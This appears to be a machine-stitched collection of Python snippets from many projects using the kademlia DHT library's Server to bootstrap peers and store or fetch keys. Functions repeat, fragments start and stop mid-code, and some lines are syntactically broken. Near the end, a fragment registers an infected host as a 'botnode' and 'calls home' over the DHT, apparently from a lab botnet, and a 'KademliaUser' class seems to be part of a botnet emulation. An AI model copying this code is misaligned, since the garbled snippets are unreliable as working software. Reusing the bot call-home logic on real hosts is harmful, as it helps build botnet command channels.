def refresh_mirror( working_dir, first_block, last_block ):
"""
Refresh the mirror:
* process all new invalidations
* grab and mirror any new profiles from the DHT
This gets called by Twisted every time there ought to be a new block.
"""
from twisted.python import log
from kademlia.network import Server
# make soure our bitcoind cached block index is up-to-speed
nameop_sequence = sync_blockchain( working_dir, first_block, last_block )
if nameop_sequence is None:
log.error("sync_blockchain(%s-%s) failed" % (first_block, last_block))
return None
# synchronize name registrations...
server = Server()
server.listen( dht.plugin.DHT_SERVER_PORT )
server.bootstrap( dht.plugin.DEFAULT_DHT_SERVERS ).addCallback( connect_done, server )
pass
def test_get(self):
expected = "rohan"
key = "A"
# getkey("127.0.0.1",8468,key)
# self.assertEqual(expected,result)
def done(result):
# print "Key result:"
# print result
self.assertEqual(expected, result)
reactor.stop()
def bootstrapDone(found, server, key):
if len(found) == 0:
print "Could not connect to the bootstrap server."
reactor.stop()
server.get(key).addCallback(done)
server = Server()
temp_port = random.randint(9000, 9999)
server.listen(
temp_port
) # Any node wishing to query the network essentially registers itself as a server/node with every node it communicates with
server.bootstrap([("127.0.0.1", 8468)]).addCallback(bootstrapDone, server, key)
reactor.run()
def refresh_mirror( working_dir, first_block, last_block ):
"""
Refresh the mirror:
* process all new invalidations
* grab and mirror any new profiles from the DHT
This gets called by Twisted every time there ought to be a new block.
"""
from twisted.python import log
from kademlia.network import Server
# make soure our bitcoind cached block index is up-to-speed
nameop_sequence = sync_blockchain( working_dir, first_block, last_block )
if nameop_sequence is None:
log.error("sync_blockchain(%s-%s) failed" % (first_block, last_block))
return None
# synchronize name registrations...
server = Server()
server.listen( dht.plugin.DHT_SERVER_PORT )
server.bootstrap( dht.plugin.DEFAULT_DHT_SERVERS ).addCallback( connect_done, server )
pass
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
else:
self._node.listen(port)
self._node.bootstrap([("127.0.0.1",port)]).addCallback(self.bootStrapDone)
class DHTResolver(object):
def __init__(self, config, bootstrapNeighbors):
self.config = config
self.log = Logger(system=self)
if os.path.isfile(config['dht.state.cache']):
self.kserver = Server.loadState(config['dht.state.cache'])
else:
self.kserver = Server()
self.kserver.bootstrap(bootstrapNeighbors)
self.kserver.saveStateRegularly(config['dht.state.cache'], 60)
def getProtocol(self):
return self.kserver.protocol
def getPublicKey(self, keyId):
"""
Get the public key from the network, and return only if the key is
the one that matches the keyId based on hash.
"""
def verify(key):
if key is not None and PublicKey(key).getKeyId() == keyId:
return key
return None
self.log.debug("Getting key text for key id %s" % keyId)
return self.kserver.get(keyId).addCallback(verify)
def resolve(self, keyId):
def parse(locations):
self.log.debug("Locations for %s: %s" % (keyId, locations))
results = []
if locations is None or locations == "":
return results
for location in locations.split(','):
host, port = location.split(':')
results.append((host, int(port)))
return results
d = self.kserver.get("%s-location" % keyId)
return d.addCallback(parse)
def announceLocation(self, myKeyId, myPublicKey):
def announce(ips):
ips = self.localAddresses() + ips
ipports = map(lambda ip: "%s:%i" % (ip, self.config['s2s.port']), ips)
return self.kserver.set("%s-location" % myKeyId, ",".join(ipports))
d = self.kserver.set(myKeyId, str(myPublicKey))
d.addCallback(lambda _: self.kserver.inetVisibleIP())
return d.addCallback(announce)
def localAddresses(self):
result = []
for iface in netifaces.interfaces():
addys = netifaces.ifaddresses(iface).get(netifaces.AF_INET)
result += [ addy['addr'] for addy in (addys or []) if addy['addr'] != '127.0.0.1' ]
return result
class DHT:
"""docstring for Server"""
def __init__(self, ip_address=BOOSTRAP_IP, port=BOOSTRAP_PORT):
self.server = Server()
self.server.listen(UDHT_PORT)
self.loop = asyncio.get_event_loop()
self.loop.set_debug(True)
bootstrap_node = (ip_address, int(port))
self.loop.run_until_complete(self.server.bootstrap([bootstrap_node]))
def stop(self):
self.server.stop()
self.loop.close()
def __getitem__(self, key):
result = Empty()
try:
result = loads(self.loop.run_until_complete(self.server.get(key)))
except TypeError:
pass
if isinstance(result, Empty):
raise KeyError
return result
def __setitem__(self, key, item):
self.loop.run_until_complete(self.server.set(key, dumps(item)))
def __delitem__(self, key):
self.loop.run_until_complete(self.server.set(key, dumps(Empty())))
def dht_init(blockchain_index):
"""
Establish our connection to the DHT, and give
it the requisite state it needs (i.e. the index
over the blockchain).
"""
global dht_server
global dht_blockchain_index
dht_blockchain_index = blockchain_index
dht_server = Server(storage=BlockStorage())
dht_server.listen(DHT_SERVER_PORT)
bootstrap_servers = hostname_to_ip(DEFAULT_DHT_SERVERS)
dht_server.bootstrap(bootstrap_servers)
def send(port, key, message):
handler = logging.StreamHandler()
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server()
server.listen(8469)
bootstrap_node = ("0.0.0.0", int(port))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
result = loop.run_until_complete(server.get(key))
loop.run_until_complete(
server.set(key,
str(result) + str(datetime.datetime.now()) + " " +
message))
result = loop.run_until_complete(server.get(key))
server.stop()
#loop.close()
print("************************************************")
print(key, "\n", result + "\n")
print("************************************************")
def dht_init(blockchain_index):
"""
Establish our connection to the DHT, and give
it the requisite state it needs (i.e. the index
over the blockchain).
"""
global dht_server
global dht_blockchain_index
dht_blockchain_index = blockchain_index
dht_server = Server(storage=BlockStorage())
dht_server.listen(DHT_SERVER_PORT)
bootstrap_servers = hostname_to_ip(DEFAULT_DHT_SERVERS)
dht_server.bootstrap(bootstrap_servers)
def start_node(port, BTIp="", BTPort=0):
handler = logging.StreamHandler()
formatter = logging.Formatter('%(asctime)s - %(name)s\
- %(levelname)s - %(message)s')
handler.setFormatter(formatter)
# DEBUG
if DEBUG:
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
loop = asyncio.get_event_loop()
if DEBUG:
loop.set_debug(True)
server = Server()
loop.run_until_complete(server.listen(port))
# the first peer don't do that
if BTPort != 0:
bootstrap_node = (BTIp, int(BTPort))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
return (server, loop)
def kad_server_join(network_port, profile_port, neighbor_ip, neighbor_port,
username):
handler = logging.StreamHandler()
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
aio = asyncio.new_event_loop()
kad = Server()
aio.run_until_complete(kad.listen(network_port))
aio.run_until_complete(kad.bootstrap([(neighbor_ip, neighbor_port)]))
aio.run_until_complete(asyncio.sleep(1))
# set a value for the key "my-key" on the network
aio.run_until_complete(
kad.set(username,
'http://' + socket.gethostname() + ':' + str(profile_port)))
aio.run_until_complete(asyncio.sleep(2))
# run forever since we are the first node
try:
main_loop(aio, kad)
except KeyboardInterrupt:
pass
finally:
kad.stop()
aio.close()
def initialize_dht(
bootstrap_ip_port_pair_list: List[Tuple[str, int]],
listen_port: int,
) -> None:
"""
connects to the distributed hash table
if no bootstrap ip port pair list is given, it starts a new dht
:param bootstrap_ip_port_pair_list: list of ip port tuples to connect to \
the dht
:param listen_port: port to listen on
:return: instance of server
"""
global _node_instance
get_logger("kademlia")
logger.debug("set up DHT: %s", str(bootstrap_ip_port_pair_list))
node = Server(storage=DropPeerDHTStorage())
node.listen(listen_port)
loop = asyncio.get_event_loop()
if len(bootstrap_ip_port_pair_list) > 0:
loop.run_until_complete(node.bootstrap(bootstrap_ip_port_pair_list))
_node_instance = node
def uat(wc, option_flags, option_format, myReason):
from twisted.internet import reactor
from twisted.python import log
from kademlia.network import Server
import sys
log.startLogging(sys.stdout)
def query(wc, query_string):
wc = wc.canonicalize()
query_string = "@prefix : <http://test#>.\n" + query_string
query_file = "query.tmp.n3"
o = open(query_file, "w")
o.write(query_string)
o.close()
filterContext = _store.load(query_file,
flags=option_flags[option_format],
referer="",
why=myReason, topLevel=True)
wc.reopen()
print "applying...", filterContext, "to", wc
applyRules(wc, filterContext);
return wc
def done(result):
print "Key result:", result
#reactor.stop()
def setDone(result, server):
server.get("a key").addCallback(done)
def kademliaBootstrapDone(found, server):
server.set("a key", "a value").addCallback(setDone, server)
server = Server()
server.listen(8468)
server.bootstrap([("1.2.3.4", 8468)]).addCallback(kademliaBootstrapDone, server)
wc = query(wc, "[ a :banana ].")
#reactor.run()
return wc
def peer_kademlia_join():
temp = Server()
loop.run_until_complete(temp.listen(5678))
loop.run_until_complete(temp.bootstrap([(master_ip, 5678)]))
msg = stamp("{} has joined the P2P network.".format(peer_name))
print(msg)
global node
node = temp
def helper(file, ip, bootstrapPort, localPort, send, debug):
# No loss yet !
config.totalLoss = 0
config.debug = debug
# Start Server
if debug == 'loads': log.startLogging(sys.stdout)
server = Server()
# Start own server on port 5678
server.listen(localPort)
# Bootstrap with a known ip address of an existing kad server
server.bootstrap([(ip, bootstrapPort)]).addCallback(started, server, send, file, debug)
reactor.run()
def getKey(ip,port,key): def done(result): print "Key result:" print result reactor.stop() def bootstrapDone(found, server, key): if len(found) == 0: print "Could not connect to the bootstrap server." reactor.stop() server.get(key).addCallback(done) server = Server() temp_port = random.randint(9000,9999) server.listen(temp_port) # Any node wishing to query the network essentially registers itself as a server/node with every node it communicates with server.bootstrap([(ip, port)]).addCallback(bootstrapDone, server, key) reactor.run()
def __init__(self, *args):
self.ip = args[0]
self.port = args[1]
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([(self.ip, self.port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(self.port, kserver.protocol)
server.setServiceParent(application)
self.log = logging.getLogger(resource_filename(__name__, __file__))
def dht_run(config_file=DEFAULT_CONFIG_FILE):
"""
Run the blockstackd RPC server, optionally in the foreground.
"""
# start DHT server
observer = log.FileLogObserver(sys.stdout, log.INFO)
observer.start()
dht_opts = get_dht_opts(config_file)
dht_servers_str = dht_opts['servers']
dht_port = dht_opts['port']
dht_servers = parse_dht_servers(dht_servers_str)
dht_server = Server(storage=BlockStorage())
bootstrap_servers = hostname_to_ip(dht_servers)
dht_server.bootstrap(bootstrap_servers)
reactor.listenUDP(dht_port, dht_server.protocol)
reactor.run()
def dht_run(config_file=DEFAULT_CONFIG_FILE):
"""
Run the blockstackd RPC server, optionally in the foreground.
"""
# start DHT server
observer = log.FileLogObserver(sys.stdout, log.INFO)
observer.start()
dht_opts = get_dht_opts(config_file)
dht_servers_str = dht_opts['servers']
dht_port = dht_opts['port']
dht_servers = parse_dht_servers( dht_servers_str )
dht_server = Server(storage=BlockStorage())
bootstrap_servers = hostname_to_ip(dht_servers)
dht_server.bootstrap(bootstrap_servers)
reactor.listenUDP( dht_port, dht_server.protocol )
reactor.run()
def getKey(ip, port, key):
def done(result):
print "Key result:"
print result
reactor.stop()
def bootstrapDone(found, server, key):
if len(found) == 0:
print "Could not connect to the bootstrap server."
reactor.stop()
server.get(key).addCallback(done)
server = Server()
temp_port = random.randint(9000, 9999)
server.listen(
temp_port
) # Any node wishing to query the network essentially registers itself as a server/node with every node it communicates with
server.bootstrap([(ip, port)]).addCallback(bootstrapDone, server, key)
reactor.run()
class BitHaikuDHT:
log = logging.getLogger(__name__)
def __init__(self, configuration):
self.configuration = configuration
self.server = Server()
self.server.listen(configuration.ports.dht)
self.server.bootstrap([(configuration.local_address, configuration.ports.dht)])
def add(self, ip):
self.log.error("Bootstrapping " + ip)
self.server.bootstrap([(ip, self.configuration.ports.dht)])
def find_owner(self, data):
key = value = hashlib.sha256(data).hexdigest()
self.server.set(key, value)
digest = kademlia.utils.digest(hash)
node = Node(digest)
nearest = self.server.protocol.router.findNeighbors(node)
return nearest[0].ip
def chat(port, chatname):
node = Server()
node.listen(port)
loop = asyncio.get_event_loop()
loop.run_until_complete(node.bootstrap([("0.0.0.0", 8468)]))
chatlist = loop.run_until_complete(node.get("chatlist"))
loop.run_until_complete(node.set("chatlist", str(chatlist) + "\n" + chatname + "\n"))
node.stop()
def bootstrap(self, addrs):
"""
Bootstrap the server by connecting to other known nodes in the network.
Args:
addrs: A `list` of (ip, port) `tuple` pairs. Note that only IP addresses
are acceptable - hostnames will cause an error.
"""
# if the transport hasn't been initialized yet, wait a second
if self.protocol.transport is None:
return task.deferLater(reactor, .2, self.bootstrap, addrs)
else:
return Server.bootstrap(self, addrs)
def user(port, username):
node = Server()
node.listen(port)
loop = asyncio.get_event_loop()
loop.run_until_complete(node.bootstrap([("0.0.0.0", 8468)]))
userlist = loop.run_until_complete(node.get("userlist"))
loop.run_until_complete(node.set("userlist", str(userlist) + "\n" + username + "\n"))
node.stop()
def bootstrap(self, addrs):
"""
Bootstrap the server by connecting to other known nodes in the network.
Args:
addrs: A `list` of (ip, port) `tuple` pairs. Note that only IP addresses
are acceptable - hostnames will cause an error.
"""
# if the transport hasn't been initialized yet, wait a second
if self.protocol.transport is None:
return task.deferLater(reactor, .2, self.bootstrap, addrs)
else:
return Server.bootstrap(self, addrs)
class DHTResolver(object):
def __init__(self, config, bootstrapNeighbors):
if os.path.isfile(config['dht.state.cache']):
self.kserver = Server.loadState(config['dht.state.cache'])
else:
self.kserver = Server()
self.kserver.bootstrap(bootstrapNeighbors)
self.kserver.saveStateRegularly(config['dht.state.cache'], 60)
def getProtocol(self):
return self.kserver.protocol
def resolve(self, keyId):
return self.kserver.get(keyId)
def announceLocation(self, myKeyId):
def announce(ips):
if len(ips) == 0:
return defer.succeed(False)
return self.kserver.set(myKeyId, ips[0])
d = self.kserver.inetVisibleIP()
return d.addCallback(announce)
def test_get(self):
expected = "rohan"
key = "A"
# getkey("127.0.0.1",8468,key)
# self.assertEqual(expected,result)
def done(result):
# print "Key result:"
# print result
self.assertEqual(expected,result)
reactor.stop()
def bootstrapDone(found, server, key):
if len(found) == 0:
print "Could not connect to the bootstrap server."
reactor.stop()
server.get(key).addCallback(done)
server = Server()
temp_port = random.randint(9000,9999)
server.listen(temp_port) # Any node wishing to query the network essentially registers itself as a server/node with every node it communicates with
server.bootstrap([("127.0.0.1", 8468)]).addCallback(bootstrapDone, server, key)
reactor.run()
class KademliaUser(Runnable):
"""Allows the KademliaUser to be run in its own thread."""
def __init__(self, name="KademliaUser%d"%random.randint(1, 1000),
port=emu_config.kademlia_default_port, peerlist=None):
super(KademliaUser, self).__init__(name=name)
self.kademliaServer = Server()
self.port = port
self.peerlist = peerlist if peerlist is not None else []
def start(self):
"""Implements start() from the superclass."""
self._startKademlia()
try:
IOLoop.current().start()
except socket.error as ex:
logging.warning("Could not start the KademliaUser: %s"%ex)
def _startKademlia(self):
possible_interfaces = [iface for iface in netifaces.interfaces() if iface_searchterm in iface
and netifaces.ifaddresses(iface).has_key(netifaces.AF_INET)]
if len(possible_interfaces) == 0:
logging.error("No suitable interfaces found, tried the following: %s"%netifaces.interfaces())
logging.debug("Interfaces: %s"%netifaces.ifaddresses(possible_interfaces[0]))
ipAddr = netifaces.ifaddresses(possible_interfaces[0])[netifaces.AF_INET][0]["addr"]
logging.debug("Node %s starts with %s on %s"%(self.name, self.peerlist, ipAddr))
self.kademliaServer.listen(self.port, interface=ipAddr)
serverDeferred = self.kademliaServer.bootstrap([(peer, emu_config.kademlia_default_port) for peer in self.peerlist])
serverDeferred.addCallback(self.executeBot)
serverDeferred.addErrback(self.errback)
def executeBot(self, peersfound=None):
"""Method that is called regularly and checks for new commands"""
self.kademliaServer.get(generateRandomString(length=2)).addCallbacks(self.ignoreInput, self.errback)
self.kademliaServer.set(generateRandomString(length=2), generateRandomString()).addCallbacks(self.ignoreInput,
self.errback)
reactor.callLater(emu_config.botcommand_timeout, self.executeBot)
def ignoreInput(self, *args, **kwargs):
"""Gets whatever is the result of the Kademlia GET request and ignores it"""
pass
def errback(self, failure, *args, **kwargs):
"""Given to defereds to report errors. Ignores those errors."""
logging.debug(
"Kademlia Error (for the legitimate user, so non-existing keys are not a problem) in %s: %s"%(self.name, failure))
pass
class KadNode:
@staticmethod
def set_logging():
handler = logging.StreamHandler()
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
def __init__(self, port=DEFAULT_PORT, evt_loop=None):
self.set_logging()
if not evt_loop:
evt_loop = asyncio.get_event_loop()
self.loop = evt_loop
self.node = Server()
self.port = port
self.start_server()
def start_server(self):
def start_loop(node, port):
server_loop = asyncio.new_event_loop()
server_loop.run_until_complete(node.listen(port))
try:
server_loop.run_forever()
except KeyboardInterrupt:
pass
finally:
node.stop()
server_loop.close()
#
t = Thread(target=start_loop, args=(self.node, self.port))
t.start()
def boot_to(self, host, port):
self.loop.run_until_complete(self.node.bootstrap([
(host, port),
]))
def set(self, key, value):
self.loop.run_until_complete(self.node.set(key, value))
def get(self, key):
result = self.loop.run_until_complete(self.node.get(key))
return result
class P2p(object):
def __init__(self):
self.server = Server()
self.loop = None
def run(self):
loop = asyncio.get_event_loop()
self.loop = loop
loop.run_until_complete(self.server.listen(listen_port))
self.loop.run_until_complete(self.server.bootstrap([(bootstrap_host, bootstrap_port)]))
loop.run_forever()
def get_nodes(self):
nodes = []
for bucket in self.server.protocol.router.buckets:
nodes.extend(bucket.get_nodes())
return nodes
def start_node(BTIp, BTPort, Port): # starting a node
handler = logging.StreamHandler()
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
server = Server()
server.listen(Port)
loop = asyncio.get_event_loop()
loop.set_debug(True)
bootstrap_node = (BTIp, int(BTPort))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
return (server, loop)
def run(self):
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.set_debug(True)
server = Server()
loop.run_until_complete(server.listen(self.port))
if self.bootstrap_port is not None:
bootstrap_node = (self.bootstrap_address, self.bootstrap_port)
loop.run_until_complete(server.bootstrap([bootstrap_node]))
try:
loop.run_forever()
except KeyboardInterrupt:
pass
finally:
server.stop()
loop.close()
def initServer(localPort, remoteHost, remotePort):
"""Initialises the DHT and connects it to the
bootstrapping server.
Args:
localPort: Int.
remoteHost: String - Must be ip address not
domain name.
remotePort: Int.
Returns:
Kademlia Server object.
"""
server = Server(storage=ListStorage())
server.listen(localPort)
yield server.bootstrap([(remoteHost, remotePort)])
returnValue(server)
def kad_client(neighbor_ip, neighbor_port, username):
#handler = logging.StreamHandler()
#formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
#handler.setFormatter(formatter)
#log = logging.getLogger('kademlia')
#log.addHandler(handler)
#log.setLevel(logging.DEBUG)
aio = asyncio.get_event_loop()
kad = Server()
aio.run_until_complete(kad.listen(8889))
aio.run_until_complete(kad.bootstrap([(neighbor_ip, neighbor_port)]))
resp = aio.run_until_complete(get_user_profile(kad, username))
print("resp.json(): " + resp.json())
# print(resp.json())
kad.stop()
aio.close()
def send(port, chatname, username, message):
node = Server()
node.listen(port)
loop = asyncio.get_event_loop()
loop.run_until_complete(node.bootstrap([("0.0.0.0", 8468)]))
chat = loop.run_until_complete(node.get(chatname))
loop.run_until_complete(
node.set(chatname,
str(chat) + "\n" + username + ": " + message + "\n"))
new_chat = loop.run_until_complete(node.get(chatname))
node.stop()
print("************************************************")
print(chatname)
print("************************************************")
print("\n" + new_chat + "\n")
print("************************************************")
def test_custom_event_loop(self):
custom_loop = asyncio.new_event_loop()
server = Server()
server.listen(8468)
custom_loop = asyncio.new_event_loop()
server2 = Server(custom_event_loop=custom_loop)
server_thread = threading.Thread(target=setup_extra_server,
args=[server2, custom_loop])
server_thread.start()
# testing using the custom event loop
loop = asyncio.get_event_loop()
loop.run_until_complete(server.bootstrap([("localhost", 8469)]))
loop.run_until_complete(server.set("test", "test1"))
rec_value = loop.run_until_complete(server.get("test"))
server.stop()
stop_extra_server(server2, custom_loop)
server_thread.join()
assert rec_value == "test1"
class P2p(object):
def __init__(self):
self.server = Server()
self.loop = None
def run(self):
loop = asyncio.get_event_loop()
self.loop = loop
loop.run_until_complete(self.server.listen(listen_port))
self.loop.run_until_complete(
self.server.bootstrap([(bootstrap_host, bootstrap_port)]))
loop.run_forever()
def get_nodes(self):
log.info("------------") # 7.8 find it also important
nodes = []
if self.server.protocol: # 7.18
for bucket in self.server.protocol.router.buckets:
# log.info("------int the for------") # 7.8
nodes.extend(bucket.get_nodes())
# log.info("------will return nodes------") # 7.8
return nodes
class CDataBase(object):
def __init__(self):
self.server = None
self.loop = None
self.port = 10023
def initiate(self):
if self.server is None:
self.loop = asyncio.get_event_loop()
self.server = Server(ksize=100, alpha=10)
self.loop.run_until_complete(self.server.listen(self.port))
handler = logging.StreamHandler()
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
self.loop.set_debug(True)
def set(self, key, value):
self.loop = asyncio.get_event_loop()
self.loop.run_until_complete(self.server.set(key, value))
return self.get(key)
def get(self, key):
self.loop = asyncio.get_event_loop()
return self.loop.run_until_complete(self.server.get(key))
def bootstrap(self, nodes):
self.loop = asyncio.get_event_loop()
bootstrap_node = []
try:
for n in nodes:
bootstrap_node.append((n, self.port))
self.loop.run_until_complete(self.server.bootstrap(bootstrap_node))
except:
pass
def setUp(self):
# create peers
self.swarm = []
for i in range(TEST_SWARM_SIZE):
peer = Server()
bootstrap_peers = [
("127.0.0.1", PORT + x) for x in range(i)
][-1:] # each peer only knows of the last peer
peer.bootstrap(bootstrap_peers)
peer.listen(PORT + i)
self.swarm.append(peer)
# stabalize network overlay
time.sleep(10)
for peer in self.swarm:
peer.bootstrap(peer.bootstrappableNeighbors())
time.sleep(10)
for peer in self.swarm:
peer.bootstrap(peer.bootstrappableNeighbors())
time.sleep(10)
import logging
import asyncio
import sys
from kademlia.network import Server
if len(sys.argv) != 3:
print("Usage: python set.py <key> <value>")
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server()
server.listen(8469)
loop.run_until_complete(server.bootstrap([("127.0.0.1", 8468)]))
loop.run_until_complete(server.set(sys.argv[1], sys.argv[2]))
server.stop()
loop.close()
from twisted.internet import reactor
from twisted.python import log
from kademlia.network import Server
import sys
# log to std out
log.startLogging(sys.stdout)
def quit(result):
print "Key result:", result
reactor.stop()
def get(result, server):
return server.get("a key").addCallback(quit)
def done(found, server):
log.msg("Found nodes: %s" % found)
return server.set("a key", "a value").addCallback(get, server)
server = Server()
# next line, or use reactor.listenUDP(5678, server.protocol)
server.listen(5678)
server.bootstrap([('127.0.0.1', 1234)]).addCallback(done, server)
reactor.run()
server.set(key.hexdigest(),
str(bot.id)).addCallback(check_ack, server, bot)
def setup(ip_list, server):
#check that it got a result back
#print str(server.node.long_id)
if not len(ip_list):
print "Could not determine my ip, retrying"
server.inetVisibleIP().addCallback(setup, server)
myip = most_common(ip_list)
idhash = get_hash(str(server.node.long_id))
bot = botnode(myip, port, str(server.node.long_id), idhash)
callhome(server, bot)
def bootstrapDone(found, server):
if len(found) == 0:
print "Could not connect to the bootstrap server."
reactor.stop()
exit(0)
server.inetVisibleIP().addCallback(setup, server)
server = Server()
server.listen(myport)
server.bootstrap([(bootstrap_ip, port)]).addCallback(bootstrapDone, server)
reactor.run()
#bootstrap is at 192.168.56.101:8468
def twisted_main(args):
log_observer = log.FileLogObserver(sys.stdout, log.INFO)
log_observer.start()
# Load state
root = appdirs.user_cache_dir(args.instancename, 'zarbosoft')
mkdirs(root)
state = {}
try:
with open(os.path.join(root, 'state.json'), 'r') as prestate:
state = json.loads(prestate.read())
except Exception as e:
if args.verbose:
log_info('Failed to load state: {}'.format(e))
republish = state.get('republish', {})
# Set up kademlia
kserver = Server(
ksize=state.get('ksize', 20),
alpha=state.get('alpha', 3),
seed=binascii.unhexlify(state['seed']) if 'seed' in state else None,
storage=Storage(args))
bootstraps = map(tuple, state.get('bootstrap', []))
for bootstrap in args.bootstrap:
bhost, bport = bootstrap.split(':', 2)
bport = int(bport)
bhost_ip = yield reactor.resolve(bhost)
bootstraps.append((bhost_ip, bport))
if args.verbose:
log_info('Bootstrapping hosts: {}'.format(bootstraps))
kserver.bootstrap(bootstraps)
udpserver = internet.UDPServer(args.dhtport, kserver.protocol)
udpserver.startService()
# Set up state saver
def save_state():
if args.verbose:
log_info('Saving state')
state['ksize'] = kserver.ksize
state['alpha'] = kserver.alpha
state['seed'] = binascii.hexlify(kserver.node.seed)
state['republish'] = republish
state['bootstrap'] = kserver.bootstrappableNeighbors()
with open(os.path.join(root, 'state.json.1'), 'w') as prestate:
prestate.write(json.dumps(state))
os.rename(
os.path.join(root, 'state.json.1'),
os.path.join(root, 'state.json'))
save_state_loop = LoopingCall(save_state)
save_state_loop.start(60)
# Set up value republisher
def start_republish():
@defer.inlineCallbacks
def republish_call():
for key, val in republish.items():
if args.verbose:
log_info('Republishing {}'.format(key))
yield kserver.set(key, val)
republish_loop = LoopingCall(republish_call)
republish_loop.start(1 * 60 * 60 * 24)
deferLater(reactor, 60, start_republish)
# Set up webserver
with open(res('redirect_template.html'), 'r') as template:
redirect_template = template.read()
class Resource(resource.Resource):
def getChild(self, child, request):
return self
def render_GET(self, request):
key = urllib.unquote(request.path[1:])
if key == 'setup':
with open(res('browser_setup.html'), 'r') as static:
return static.read()
if key == 'icon-bizast-off.png':
with open(res('icon-bizast-off.png'), 'r') as static:
return static.read()
if key.startswith(webprotocol):
key = key[len(webprotocol):]
if key.startswith(webprotocol2):
key = key[len(webprotocol2):]
if key.count(':') != 1:
raise ValueError('Invalid resource id')
try:
key, path = key.split('/', 1)
path = '/' + path
except ValueError:
path = ''
def respond(value):
if not value:
request.write(NoResource().render(request))
else:
valid, ign, ign = validate(args, None, value, None)
if not valid:
request.write(NoResource('Received invalid resource: {}'.format(value)).render(request))
else:
value = json.loads(value)
if any('text/html' in val for val in request.requestHeaders.getRawHeaders('Accept', [])):
message = value['message'] + path
if urlmatch.match(message) and '\'' not in message and '"' not in message:
request.write(redirect_template.format(
resource=message).encode('utf-8'))
else:
request.write(message.encode('utf-8'))
else:
request.write(json.dumps(value))
request.finish()
log.msg('GET: key [{}]'.format(key))
d = kserver.get(key)
d.addCallback(respond)
return server.NOT_DONE_YET
def render_POST(self, request):
value = request.content.getvalue()
valid, rec_key, fingerprint = validate(args, None, value, None)
if not valid:
raise ValueError('Failed verification')
log.msg('SET: key [{}] = val [{}]'.format(rec_key, value))
republish[rec_key] = value
def respond(result):
request.write('Success')
request.finish()
d = kserver.set(rec_key, value)
d.addCallback(respond)
return server.NOT_DONE_YET
def render_DELETE(self, request):
key = urllib.unquote(request.path[1:])
if key.startswith(webprotocol):
key = key[len(webprotocol):]
if key.count(':') != 1:
raise ValueError('Invalid resource id')
if key not in republish:
raise ValueError('Not republishing key {}'.format(key))
del republish[key]
return 'Success'
webserver = internet.TCPServer(args.webport, server.Site(Resource()))
webserver.startService()
sys.path.insert(0, "kademlia")
from kademlia.network import Server
log.startLogging(sys.stdout)
if len(sys.argv) != 4:
print "Usage: python query.py <bootstrap ip> <bootstrap port> <key>"
sys.exit(1)
ip = sys.argv[1]
port = int(sys.argv[2])
key = sys.argv[3]
print "Getting %s (with bootstrap %s:%i)" % (key, ip, port)
def done(result):
print "Key result:"
print result
reactor.stop()
def bootstrapDone(found, server, key):
if len(found) == 0:
print "Could not connect to the bootstrap server."
reactor.stop()
server.get(key).addCallback(done)
server = Server()
server.listen(port-1)
server.bootstrap([(ip, port)]).addCallback(bootstrapDone, server, key)
reactor.run()
port = int(sys.argv[2])
key = sys.argv[3]
print "Getting %s (with bootstrap %s:%i)" % (key, ip, port)
def done(result):
try:
print "Key result:"
print result
myfile = open("newfile.txt", "w")
myfile.write(result)
myfile.close()
reactor.stop()
except TypeError:
myfile = open("newfile.txt", "w")
myfile.write("TypeError")
reactor.stop()
def bootstrapDone(found, server, key):
if len(found) == 0:
print "Could not connect to the bootstrap server."
reactor.stop()
server.get(key).addCallback(done)
server = Server()
temp_port = random.randint(9000,9999)
server.listen(temp_port) # Any node wishing to query the network essentially registers itself as a server/node with every node it communicates with
server.bootstrap([(ip, port)]).addCallback(bootstrapDone, server, key)
reactor.run()
class NetworkInterface (object):
# Create a NetworkInterface object to accomplish all network related tasks
def __init__(self, appDeployer=False):
self._connected = False
self._app_deployer = appDeployer
# optional...
self._number_of_nodes = 0
self._list_of_nodes =[]
# HERE--> Implementation specific node instanciation
from kademlia.network import Server()
self._node = Server()
# END OF SECTION
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
